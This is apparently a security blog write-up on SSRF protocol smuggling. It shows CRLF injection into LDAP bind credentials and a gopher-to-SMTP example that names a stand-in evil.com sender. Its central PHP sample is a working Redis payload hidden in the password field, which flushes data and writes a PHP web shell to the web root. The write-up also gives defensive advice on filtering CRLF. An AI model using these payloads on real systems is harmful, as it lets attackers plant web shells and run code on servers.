SSRF protocol smuggling involves an attacker injecting one TCP protocol into a dissimilar TCP protocol. A classic example is using gopher (i.e. the first protocol) to smuggle SMTP (i.e. the second protocol):

gopher://127.0.0.1:25/%0D%0AHELO%20localhost%0D%0AMAIL%20FROM%3Abadguy@evil.com%0D%0ARCPT%20TO%3Avictim@site.com%0D%0ADATA%0D%0A ....
An common example of using Gopher to protocol smuggle SMTP

The key point above is the use of the CRLF character (i.e. %0D%0A) which breaks up the commands of the second protocol. This attack is only possible with the ability to inject CRLF characters into a protocol.

Almost all LDAP client libraries support plaintext authentication or a non-ssl simple bind. For example, the following is an LDAP authentication example using Python 2.7 and the python-ldap library:

import ldap
conn = ldap.initialize("ldap://[SERVER]:[PORT]")
conn.simple_bind_s("[USERNAME]", "[PASSWORD]")
Simple LDAP bind in Python

In many LDAP client libraries it is possible to insert a CRLF inside the username or password field. Because LDAP is a rather plain TCP protocol this makes it immediately noteworthy.

import ldap
conn = ldap.initialize("ldap://0:9000")
conn.simple_bind_s("1\n2\n\3\n", "4\n5\n6---")
Injecting CRLF Characters in a LDAP Simple Bind

You can see the CRLF characters are sent in the request:

# nc -lvp 9000
listening on [::]:9000 ...
connect to [::ffff:127.0.0.1]:9000 from localhost:39250 ([::ffff:127.0.0.1]:39250)
0`1
2
3
4
5
6---
Viewing the Result

Real World Example

Imagine the case where the user can control the server and the port. This is very common in LDAP configuration settings. For example, there are many web applications that support LDAP configuration as a feature. Some common examples are embedded devices (e.g. webcam, routers), Multi-Function Printers, multi-tenancy environments, and enterprise appliances and applications.

Putting It All Together

If a user can control the server/port and CRLF can be injected into the username or password, this becomes an interesting SSRF protocol smuggle. For example, here is a Redis Remote Code Execution payload smuggled completely inside the password field of the LDAP authentication in a PHP application. In this case the web root is ‘/app’ and the Redis server would need to be able to write the web root:

<?php
    $adServer = "ldap://127.0.0.1:6379";

    $ldap = ldap_connect($adServer);

    # RCE smuggled in the password field
    $password = "_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%244%0D%0A/app%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A";

    $ldaprdn = 'domain' . "\\" . "1\n2\n3\n";

    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);

    $bind = @ldap_bind($ldap, $ldaprdn, urldecode($password));
?>
PHP with Redis exploit embedded in the bind

Client Libraries

In my opinion, the client library is functioning correctly by allowing these characters. Rather, it’s the application’s job to filter username and password input before passing it to an LDAP client library. I tested out four LDAP libraries that are packaged with common languages all of which allow CRLF in the username or password field:

Library Tested In
python-ldap Python 2.7
com.sun.jndi.ldap JDK 11
php-ldap PHP 7
net-ldap Ruby 2.5.2

Summary Points

  • If you are an attacker and find an LDAP configuration page, check if the username or password field allows CRLF characters. Typically the initial test will involve sending the request to a listener that you control to verify these characters are not filtered.
  • If you are defender, make sure your application is filtering CRLF characters (i.e. %0D%0A)